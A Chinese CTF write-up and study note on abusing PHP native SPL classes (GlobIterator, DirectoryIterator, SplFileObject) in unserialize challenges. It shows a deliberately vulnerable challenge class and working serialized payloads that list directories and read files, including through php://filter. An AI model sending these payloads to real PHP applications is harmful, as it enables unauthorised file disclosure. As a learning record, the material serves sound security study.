浅谈 php原生类的利用 1(文件操作类)

前言

在学习的过程中,战队里的师傅给我发了一道之前没遇见过的反序列化题,引出了原生类这个方面。这一知识点在后面刷题时也会遇到,提前学习一下。借这道题,对原生类的知识点进行一下学习与记录。

例题:

 <?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);  //此处可调用原生类
    } 

    public function yigei(){
        echo 'Your output: '.$this->un4;    //输出回显
    }
    
    public function giao(){
        @eval($this->un2);    //迷惑选项,实际上本题并不是rce
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data); 

        思路是,unserialize()函数执行时,会执行_destruct()函数,想利用原生类读取文件,需要执行 yigei()函数 , 因此我们要满足 !empty($this->un0) && empty($this->un2)$this -> un3 === 'unserialize' 。 这个条件我们可以同过构造序列化来满足。

        然后想着如何构造payload才能得到flag。首先应该先用可遍历目录类,找一下文件的路径 hint.php及flag的路径,路径确认之后,再用可读取文件类,来读取我们刚确认路径的文件。

<1>利用GlobIterator类测文件路径

        data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

得到信息:hint.php就在当前目录下。  这里我试着../flag  ../flag.php等等找flag,根本找不到,一头雾水,本来还以为是我的原生类利用错了。。师傅提醒我读取一下hint.php试试,因此就去找一下hint.php。

<2> 确定文件目录后,用SplFileObject类进行文件读取

        data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

 没什么变化,但是在源码中发现了  <!--?php-->

 ?php类似于伪协议,因此我们继续用伪协议,读取一下 hint.php. 发现

data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

 得到了flag的提示:

<?php

$a = "flag在当前目录下以字母 f 开头的 txt文件 中,无法爆破出来";

到这里也就知道,无法爆破出来《=》之前目录遍历flag文件的时候试了好多都没发现,因为flag所在的文件名肯定是猜不出来的,不常见的

<3> 知道flag的特征之后,回去利用GlobIterator类,由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。

        data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

 得到flag文件名为:fSSsybePonk_FIndMe.txt

知道了文件名和路径之后,就可以利用可读取文件类SplFileObject来读取flag了。

        data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:22:"fSSsybePonk_FIndMe.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

得到flag:

  上面是一道运用了原生类知识的例题,下面来记一下有关的知识点。

借鉴https://blog.csdn.net/qq_51295677/article/details/123859246?spm=1001.2014.3001.5506

PHP之序列化与反序列化(原生类应用篇sdarrorr0的博客-CSDN博客_php原生类反序列化

两位师傅的介绍,整理了下自己能看懂的笔记:

SPL介绍

        SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文件的

这里是标准库:PHP: SPL - Manual

PHP 原生文件操作类

可遍历目录类

可遍历目录类分为下面三个:

DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

1. DirectoryIterator 类

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

DirectoryIterator 类会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名:

例如:

<?php
$dir=new DirectoryIterator("/");
echo $dir;

这个查不出来什么,如果想输出全部的文件名我们还需要对$dir对象进行遍历

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $tmp){
    echo($tmp.'<br>');
    //echo($tmp->__toString().'<br>'); //与上句效果一样
}

代码里两个语句一样,这也印证了之前说的echo触发了Directorylterator 中的__toString()方法 。

我们也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径

<?php
$dir=new DirectoryIterator("glob:///*php*");
echo $dir;

 

 也可以通过目录穿越,确定我们已知的文件的具体路径

<?php
$dir=new DirectoryIterator("glob://./././flag.txt");  //目录穿越
echo $dir;

2. FilesystemIterator 类

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

该类的使用方法与DirectoryIterator 类也是基本相同的:(子类与父类的关系)

 例如:

<?php
$dir=new FilesystemIterator("/");
echo $dir;

<?php
$dir=new FilesystemIterator("/");
foreach($dir as $tmp){
    echo($tmp.'<br>');
    //echo($f->__toString().'<br>');
}

 小发现:经 php_study 测试发现,如果123.php文件在D://phpstudy_Pro/WWW/ 下。我们可用于确定路径的文件也必须在其中,如D:// 或 D://phpstudy_Pro 或 D://php_study_Pro/WWW .我发现的是这样,如果有误的话希望可以帮忙改正一下🤐

3. GlobIterator 类

GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob()函数,可以通过模式匹配来寻找文件路径。使用这个类不需要额外写上glob://

还有:

        Directorylterator类 FilesystemIterator 类当我们使用echo函数输出的时候,会触发这两个类中的 __toString() 方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的。而GlobIterator 类在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如:例题里我们知道了flag的文件名特征为 以f开头的.txt文件,因此我们可以通过 GlobIterator类来模式匹配:

<?php
$dir=new GlobIterator("f*txt");
echo $dir;

可读取文件类

SplFileObject 类

SplFileObject 类和 SplFileinfo为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

<?php
$dir=new SplFileObject("/flag.txt");
echo $dir;
?>

 但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:

<?php
    $dir = new SplFileObject("/flag.txt");
    foreach($dir as $tmp){
        echo ($tmp.'<br>');
    }
?>

最后,形如:

    echo new $this->key($this->value);


    $this -> a = new $this->key($this->value);
    echo $this->a;

没有pop链的思路和可利用反序列化的函数,一般就是需要用原生类了。

只需要让$this->key值赋为我们想用原生函数,$this->value赋为路径,查就行了。但是这种构造类型的方法的局限性就是只能查一个路径上的第一个文件。

  • 1
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值